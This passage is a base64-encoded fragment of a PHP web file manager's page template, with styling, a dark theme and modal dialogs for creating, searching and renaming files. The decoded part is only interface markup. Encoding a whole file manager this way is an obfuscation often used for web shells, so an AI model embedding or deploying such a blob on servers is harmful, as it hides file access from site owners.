cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNSkge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2FjNjhmY1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCg2KSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNDVjM2QyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi1kZXZpY2Utd2lkdGg6NzY4cHgpIGFuZCAobWF4LWRldmljZS13aWR0aDoxMDI0cHgpIGFuZCAob3JpZW50YXRpb246bGFuZHNjYXBlKSBhbmQgKC13ZWJraXQtbWluLWRldmljZS1waXhlbC1yYXRpbzoyKSB7XG4gICAgICAgICAgICAgICAgLm5hdmJhci1jb2xsYXBzZSAuY29sLXhzLTYge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi5hY3RpdmUuZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmFjdGl2ZTpmb2N1cyxcbiAgICAgICAgICAgIC5idG4uZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmZvY3VzOmFjdGl2ZSxcbiAgICAgICAgICAgIC5idG46YWN0aXZlOmZvY3VzLFxuICAgICAgICAgICAgLmJ0bjpmb2N1cyB7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogMCAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIG91dGxpbmUtb2Zmc2V0OiAwICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIC13ZWJraXQtYm94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIHtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogNjRweDtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDY0cHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXYsXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rLnNob3ctbWUge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9ja1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdiB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDZweDtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTNweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDA3YmZmO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogbGRzLWZhY2Vib29rIDEuMnMgY3ViaWMtYmV6aWVyKDAsIC41LCAuNSwgMSkgaW5maW5pdGVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXY6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBsZWZ0OiA2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjI0c1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDI2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjEyc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMykge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDQ1cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAwc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBAa2V5ZnJhbWVzIGxkcy1mYWNlYm9vayB7XG4gICAgICAgICAgICAgICAgMCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDZweDtcbiAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiA1MXB4XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgMTAwJSxcbiAgICAgICAgICAgICAgICA1MCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDE5cHg7XG4gICAgICAgICAgICAgICAgICAgIGhlaWdodDogMjZweFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdWwjc2VhcmNoLXdyYXBwZXIge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZWNlY2VjY2M7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpIHtcbiAgICAgICAgICAgICAgICBsaXN0LXN0eWxlOiBub25lO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDVweDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2VjZWNlY2NjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB1bCNzZWFyY2gtd3JhcHBlciBsaTpudGgtY2hpbGQob2RkKSB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y5ZjlmOWNjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYy1wcmV2aWV3LWltZyB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiAzMDBweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJvcmRlci1yYWRpdXMtMCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZsb2F0LXJpZ2h0IHtcbiAgICAgICAgICAgICAgICBmbG9hdDogcmlnaHQ7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ob3Zlcj50Ym9keT50cjpob3Zlcj50ZDpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjMWI3N2ZkO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSB0ci5ldmVuIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRjhGOUZhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZmlsZW5hbWU+YT5pIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDNweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZzLTcge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgPFwvc3R5bGU+XG4gICAgICAgIDw/cGhwXG4gICAgICAgIGlmIChGTV9USEVNRSA9PSBcImRhcmtcIik6ID8+XG4gICAgICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICAgICAgOnJvb3Qge1xuICAgICAgICAgICAgICAgICAgICAtLWJzLWJnLW9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgICAgIC0tYmctY29sb3I6ICNmM2RhYTY7XG4gICAgICAgICAgICAgICAgICAgIC0tYnMtZGFyay1yZ2I6IDI4LCAzNiwgNDEgIWltcG9ydGFudDtcbiAgICAgICAgICAgICAgICAgICAgLS1icy1iZy1vcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGJvZHkudGhlbWUtZGFyayB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCg5MGRlZywgIzFjMjQyOSwgIzI2MzIzOCk7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC5saXN0LWdyb3VwIC5saXN0LWdyb3VwLWl0ZW0ge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzQzYTQwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC5uYXZiYXItbmF2IGksXG4gICAgICAgICAgICAgICAgLm5hdmJhci1uYXYgLmRyb3Bkb3duLXRvZ2dsZSxcbiAgICAgICAgICAgICAgICAuYnJlYWstd29yZCB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGEsXG4gICAgICAgICAgICAgICAgYTpob3ZlcixcbiAgICAgICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICAgICAgYTphY3RpdmUsXG4gICAgICAgICAgICAgICAgI21haW4tdGFibGUgLmZpbGVuYW1lIGEsXG4gICAgICAgICAgICAgICAgaS5mYS5mYS1mb2xkZXItbyxcbiAgICAgICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogdmFyKC0tYmctY29sb3IpO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpOm50aC1jaGlsZChvZGQpIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzIxMmEyZjtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuYnRuLW91dGxpbmUtcHJpbWFyeSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjYjhlNTljO1xuICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNiOGU1OWM7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6aG92ZXIsXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6YWN0aXZlIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzJkNDEyMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayBpbnB1dC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTAxNTE4O1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogI0NGRDhEQztcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuZHJvcHpvbmUge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuaW5saW5lLWFjdGlvbnM+YT5pIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGV4dC13aGl0ZSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLnRhYmxlLWJvcmRlcmVkIHRkLFxuICAgICAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzM0MzQzNDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGQgLmN1c3RvbS1jb250cm9sLWlucHV0LFxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC50YWJsZS1ib3JkZXJlZCB0aCAuY3VzdG9tLWNvbnRyb2wtaW5wdXQge1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwLjY3ODtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMTI1Mjk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgZm9ybS5kcm9wem9uZSB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICA8XC9zdHlsZT5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgPFwvaGVhZD5cblxuICAgIDxib2R5IGNsYXNzPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+IDw/cGhwIGVjaG8gJGlzU3RpY2t5TmF2QmFyOyA/PlwiPlxuICAgICAgICA8ZGl2IGlkPVwid3JhcHBlclwiIGNsYXNzPVwiY29udGFpbmVyLWZsdWlkXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgZmFkZVwiIGlkPVwiY3JlYXRlTmV3SXRlbVwiIHRhYmluZGV4PVwiLTFcIiByb2xlPVwiZGlhbG9nXCIgZGF0YS1icy1iYWNrZHJvcD1cInN0YXRpY1wiIGRhdGEtYnMta2V5Ym9hcmQ9XCJmYWxzZVwiIGFyaWEtbGFiZWxsZWRieT1cIm5ld0l0ZW1Nb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnRcIiBtZXRob2Q9XCJwb3N0XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtaGVhZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibW9kYWwtdGl0bGVcIiBpZD1cIm5ld0l0ZW1Nb2RhbExhYmVsXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZSBmYS1md1wiPjxcL2k+PD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5ld0l0ZW0nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxsYWJlbCBmb3I9XCJuZXdmaWxlXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1UeXBlJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLWNoZWNrLWlubGluZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cInJhZGlvXCIgbmFtZT1cIm5ld2ZpbGVcIiBpZD1cImN1c3RvbVJhZGlvSW5saW5lMVwiIG5hbWU9XCJuZXdmaWxlXCIgdmFsdWU9XCJmaWxlXCIgY2hlY2tlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiZm9ybS1jaGVjay1sYWJlbFwiIGZvcj1cImN1c3RvbVJhZGlvSW5saW5lMVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvcm0tY2hlY2sgZm9ybS1jaGVjay1pbmxpbmVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiZm9ybS1jaGVjay1pbnB1dFwiIHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJuZXdmaWxlXCIgaWQ9XCJjdXN0b21SYWRpb0lubGluZTJcIiB2YWx1ZT1cImZvbGRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9XCJmb3JtLWNoZWNrLWxhYmVsXCIgZm9yPVwiY3VzdG9tUmFkaW9JbmxpbmUyXCI+PD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtdC0zXCI+PGxhYmVsIGZvcj1cIm5ld2ZpbGVuYW1lXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1OYW1lJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3ZmlsZW5hbWVcIiBpZD1cIm5ld2ZpbGVuYW1lXCIgdmFsdWU9XCJcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIGhlcmUuLi4nKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWZvb3RlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5vdycpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsIGZhZGVcIiBpZD1cInNlYXJjaE1vZGFsXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBhcmlhLWxhYmVsbGVkYnk9XCJzZWFyY2hNb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZyBtb2RhbC1sZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtY29udGVudFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz1cIm1vZGFsLXRpdGxlIGNvbC0xMFwiIGlkPVwic2VhcmNoTW9kYWxMYWJlbFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAgbWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBwbGFjZWhvbGRlcj1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiA8P3BocCBlY2hvIGxuZygnYSBmaWxlcycpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24zXCIgaWQ9XCJhZHZhbmNlZC1zZWFyY2hcIiBhdXRvZm9jdXMgcmVxdWlyZWQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHRcIiBpZD1cInNlYXJjaC1hZGRvbjNcIj48aSBjbGFzcz1cImZhIGZhLXNlYXJjaFwiPjxcL2k+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImxkcy1mYWNlYm9va1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PjxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+PFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD1cInNlYXJjaC13cmFwcGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cIm0tMlwiPjw/cGhwIGVjaG8gbG5nKCdTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nKSA/PjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgIDwhLS1SZW5hbWUgTW9kYWwgLS0+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnRcIiBkYXRhLWJzLWJhY2tkcm9wPVwic3RhdGljXCIgZGF0YS1icy1rZXlib2FyZD1cImZhbHNlXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBpZD1cInJlbmFtZURhaWxvZ1wiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1kaWFsb2dcIiByb2xlPVwiZG9jdW1lbnRcIj5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gY2xhc3M9XCJtb2RhbC1jb250ZW50IHJvdW5kZWQtMyBzaGFkb3dcIiBtZXRob2Q9XCJwb3N0XCIgYXV0b2NvbXBsZXRlPVwib2ZmXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDUgY2xhc3M9XCJtYi0zXCI+PD9waHAgZWNobyBsbmcoJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwibWItMVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwicmVuYW1lX3RvXCIgaWQ9XCJqcy1yZW5hbWUtdG9cIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIG5ldyBmaWxlIG5hbWUnKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInJlbmFtZV9mcm9tXCIgaWQ9XCJqcy1yZW5hbWUtZnJvbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZm9vdGVyIGZsZXgtbm93cmFwIHAtMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdPa2F5JykgPz48XC9zdHJvbmc+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPCEtLSBDb25maXJtIE1vZGFsIC0tPlxuICAgICAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvaHRtbFwiIGlkPVwianMtdHBsLWNvbmZpcm1cIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnQgY29uZmlybURhaWxvZ1wiIGRhdGEtYnMtYmFja2Ryb3A9XCJzdGF0aWNcIiBkYXRhLWJzLWtleWJvYXJkPVwiZmFsc2VcIiB0YWJpbmRleD1cIi0xXCIgcm9sZT1cImRpYWxvZ1wiIGlkPVwiY29uZmlybURhaWxvZy08JXRoaXMuaWQlPlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8Z